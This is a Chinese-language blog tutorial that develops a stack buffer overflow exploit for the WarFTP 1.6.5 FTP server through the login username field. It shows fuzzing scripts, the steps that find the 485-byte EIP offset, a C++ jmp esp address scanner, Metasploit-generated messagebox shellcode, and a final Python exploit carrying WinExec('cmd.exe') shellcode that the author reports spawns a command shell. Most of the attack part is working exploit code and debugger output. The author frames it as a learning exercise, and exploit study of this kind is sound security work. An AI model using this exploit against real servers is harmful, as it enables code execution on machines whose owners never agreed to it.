首页 > 技术文章 > warftp 1.6.5

iamlehaha 2017-03-23 11:31 原文

说明:

warftp 是简易ftp,非常实用,在1.6.5 存在堆栈溢出漏洞,是一个很好的学习教程。

 

软件下载:

http://www.warftp.org/files/1.6_Series/ward165.exe

 

软件安装:

双击运行,该软件,就会解压缩,获得一个目录。

 

测试代码:

python版本

from ftplib import FTP
ftp = FTP('127.0.0.1')
ftp.login('A' * 500, 'www')

 发送请求:

    查看warftp 状态 没有变化。还可以使用(由于warftp是多线程的,只是导致当前线程崩溃)

 od调试:

     od 附加当前运行的warftp,再次发送python测试代码。

     在od中可以看到EIP指向了41414141,(41为用户输入的A字符,说明该软件存在漏洞,可以控制EIP地址)

漏洞利用:

   1. 精确定位溢出点位置

    上一步显示500个A,已经溢出覆盖了返回地址,

    因此进一步确定百位是多少? 构造代码如下:
from ftplib import FTP
ftp = FTP('127.0.0.1')
#ftp.login('A' * 500, 'ww')
s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100
ftp.login(s, 'ww')

   每个字符,重复100次,这样,输入的格式为100个A,后面100个B,依次类推

    在次运行war ftpd软件,点击左上脚的标识,表示开启监听。

  

    使用od附加warftp进程,如下图所示

   

   点击F9,继续运行 

   在命令行执行构造好的python脚本,发送请求测试,发现EIP指向45454545

  

   0x45 是 E, E-A = 4, 即是400多的地方到达异常点,可以定位溢出数据的百位是4.

   定位溢出的十位是多少?

    百位已经确定,因此前面400个A,后面进行十位进行差异化,构造如下数据包

   

from ftplib import FTP
ftp = FTP('127.0.0.1')
#ftp.login('A' * 500, 'ww')
#s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100
s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 
ftp.login(s, 'ww')

 重新运行软件,看一下,结果

 

 

 这次是49494949到达了溢出点,49-41 = 8 ,因此,可以定位到十位是80.

 定位个位位置:

 继续修改代码,如下所示:

 

from ftplib import FTP
ftp = FTP('127.0.0.1')
#ftp.login('A' * 500, 'ww')
#s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100
#s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 
s = 'A' * 480 + 'ABCDEFGHIJ'
ftp.login(s, 'ww')

 重启程序,发送请求包,结果如下:

 

  这次是49484746到达溢出点,所以个位是0x46 - 0x41 = 5, 综合前面定位的百位和十位,得出的结果为 400 + 80 + 5 = 485 

  验证推断是否正确,把485的地方改成BBBB,其余位置改为AAAA, 修改程序如下:

from ftplib import FTP
ftp = FTP('127.0.0.1')
#ftp.login('A' * 500, 'ww')
#s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100
#s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 
#s = 'A' * 480 + 'ABCDEFGHIJ'
s = 'A' * 485 + 'BBBB' + 'AAAA'
ftp.login(s, 'ww')

   可以确定,EIP指向了BBBB,与分析的结果一样

  

   2. 查找jmp esp位置

    堆栈溢出,下一步查找jmp esp位置,本文使用通用的jmp esp地址 0x7ffa4512, 使用od附加warftp后,跳转到该地址进行查看

  

 

   在本次测试环境,确实0x7ffa4512 对应 jmp esp指令。但这个地址是在map中,因此没有办法设置断点。为了便于调试,在dll中查找一个jmp esp
地址。

 

#include<windows.h>
#include<iostream.h>

#include<tchar.h>

int getJmpEsp(TCHAR *ucDllName)
{
    HINSTANCE h;
    
    h = GetModuleHandle(ucDllName);  //从当前进程获得dll的起始位置
    if(h == NULL)
    {
        h = LoadLibrary(ucDllName); //若当前进程没有导入dll 则加载dll 到当前进程,并且记录起始位置
        if(h == NULL)
        {
            cout<<"ERROR LOADING DLL:"<<ucDllName<<endl;
            return -1;
        }
    }
    BYTE* ptr=(BYTE*)h;
    bool done=false;
    for(int y=0;!done;y++)
    {
        try
        {
            if(ptr[y] == 0xFF && ptr[y+1] == 0xE4)  // jmp esp对应的机器码 为FF E4, 进行查找
            {
                int pos=(int)ptr + y;  //找到jmp esp地址后,则加上起始地址,为jmp esp 在内存的绝对地址
                cout<<"OPCODE found at 0x"<<hex<<pos<<endl; //输出jmp esp的地址
            }
        }catch(...)
        {
            cout<<"END OF "<<ucDllName<<" MEMORY REACHED"<<endl;
            done=true;
        }
    }
    FreeLibrary(h);
    return 0;
}
int main()
{
    getJmpEsp("ntdll");  //从ntdll.dll 查找jmp esp地址
    getJmpEsp("kernel32"); //从kernel32.dll 查找jmp esp地址
    return 0;
    
}

 执行之后获得的jmp esp地址: 0x7c86467b

 

    3. Shellcode 开发

    直接使用bt5 生成一个弹对话框的shellcode,如下所示:

   

root@bt:~# msfpayload -h

    Usage: /opt/metasploit/msf3/msfpayload [<options>] <payload> [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>

OPTIONS:

    -h        Help banner
    -l        List available payloads

root@bt:~# msfpayload windows/messagebox N
# windows/messagebox - 270 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process, 
# TITLE=MessageBox, TEXT=Hello, from MSF!, ICON=NO
buf =  ""
buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += "\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55"
buf += "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
buf += "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
buf += "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a"
buf += "\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68"
buf += "\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c"
buf += "\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53"
buf += "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"

注意这里生成的是python使用的shellcode,因此参数是N.

 利用代码:

from ftplib import FTP
ftp = FTP('127.0.0.1')
#ftp.login('A' * 500, 'ww')
#s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100
#s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 
buf = 'A' * 485 + '\x7b\x46\x86\x7c' 
buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += "\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55"
buf += "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
buf += "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
buf += "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a"
buf += "\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68"
buf += "\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c"
buf += "\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53"
buf += "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"
ftp.login(buf, 'ww')

 重启ftp程序使用od 附加进程,由于使用0x7c86467b做为跳转地址,因此,我们在该地址设置断点,如下图所示:

发送payload,查看od运行情况。当控制eip后跳转到0x7c86467b时,状态情况

当前esp地址 0x00AEFD48 内容是0x7424f431,但是我们发送的shellcode是\xd9\xeb\x9b\xd9 开始的,跳过了4个字节。

单步执行一次,完成jmp esp,跳转到堆栈空间执行

继续执行导致shellcode执行异常而推出。

可以看出,堆栈空间被多跳过4个字节,因此需要在shellcode前多增加4个字节,作为占位,修改后shellcode布局如下:

buf = 'A' * 485 + '\x7b\x46\x86\x7c' + 'B' * 4  #多增加4个B
buf += "\xd9\xeb\x9b\xd9\x74\x24\xf4\x31\xd2\xb2\x77\x31\xc9"
buf += "\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x46\x08"
buf += "\x8b\x7e\x20\x8b\x36\x38\x4f\x18\x75\xf3\x59\x01\xd1"
buf += "\xff\xe1\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x28"
buf += "\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x34"
buf += "\x49\x8b\x34\x8b\x01\xee\x31\xff\x31\xc0\xfc\xac\x84"
buf += "\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x3b\x7c\x24"
buf += "\x28\x75\xe1\x8b\x5a\x24\x01\xeb\x66\x8b\x0c\x4b\x8b"
buf += "\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8\x89\x44\x24\x1c"
buf += "\x61\xc3\xb2\x08\x29\xd4\x89\xe5\x89\xc2\x68\x8e\x4e"
buf += "\x0e\xec\x52\xe8\x9f\xff\xff\xff\x89\x45\x04\xbb\x7e"
buf += "\xd8\xe2\x73\x87\x1c\x24\x52\xe8\x8e\xff\xff\xff\x89"
buf += "\x45\x08\x68\x6c\x6c\x20\x41\x68\x33\x32\x2e\x64\x68"
buf += "\x75\x73\x65\x72\x88\x5c\x24\x0a\x89\xe6\x56\xff\x55"
buf += "\x04\x89\xc2\x50\xbb\xa8\xa2\x4d\xbc\x87\x1c\x24\x52"
buf += "\xe8\x61\xff\xff\xff\x68\x6f\x78\x58\x20\x68\x61\x67"
buf += "\x65\x42\x68\x4d\x65\x73\x73\x31\xdb\x88\x5c\x24\x0a"
buf += "\x89\xe3\x68\x58\x20\x20\x20\x68\x4d\x53\x46\x21\x68"
buf += "\x72\x6f\x6d\x20\x68\x6f\x2c\x20\x66\x68\x48\x65\x6c"
buf += "\x6c\x31\xc9\x88\x4c\x24\x10\x89\xe1\x31\xd2\x52\x53"
buf += "\x51\x52\xff\xd0\x31\xc0\x50\xff\x55\x08"

 重新运行程序,成功跳转到shellcode位置

继续执行,发现还是不能成功,详细分析shellcode发现,shellcode被截断了。

 对比shellcode与内存中保存的布局

发现只保存了一半shellcode,其它的shellcode并不在内存中,因此无法利用成功。应该是warftp对用户输入的字符串长度进行了限制所致。

为了验证漏洞,所以首先找一个简短的shellcode,进行验证。执行winexec的shellcode代码如下,其中0x751f3231是WinExec的地址

"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45"
"\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6"
"\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78"
"\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA"
"\x31\x32\x1F\x75"
"\xFF\xD2\xC9"

 根据系统不同进行替换,查找本系统的WinExec的地址,直接在od中跳转到该WinExec(ctrl+G -> 输入WinExec即可)

所以,WinExec地址为0x7c8623AD,完整的payload如下

from ftplib import FTP
ftp = FTP('127.0.0.1')
#ftp.login('A' * 500, 'ww')
#s = 'A' * 100 + 'B' * 100 + 'C' * 100 + 'D' * 100 + 'E' * 100
#s= 'A' * 400 + 'A' * 10 + 'B' * 10 + 'C' * 10 + 'D' * 10 + 'E' * 10 + 'F' * 10 + 'G' * 10 + 'H' * 10 + 'I' * 10 + 'J' * 10 
buf = 'A' * 485 + '\x7b\x46\x86\x7c' + 'B' * 4
buf += "\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45"
buf += "\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6"
buf += "\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78"
buf += "\xC6\x45\xFE\x65\x6A\x01\x8D\x45\xF8\x50\xBA"
buf += "\xad\x23\x86\x7c"
buf += "\xFF\xD2\xC9"
ftp.login(buf, 'ww')

 

跳转到shellcode地址

继续执行,WinExec(cmd.exe)

继续执行,弹出cmd

证明,利用成功

 

 

 

 

 

 

 

 

 

 

 

  

 

  

  

  

  

  

  

    

 

推荐阅读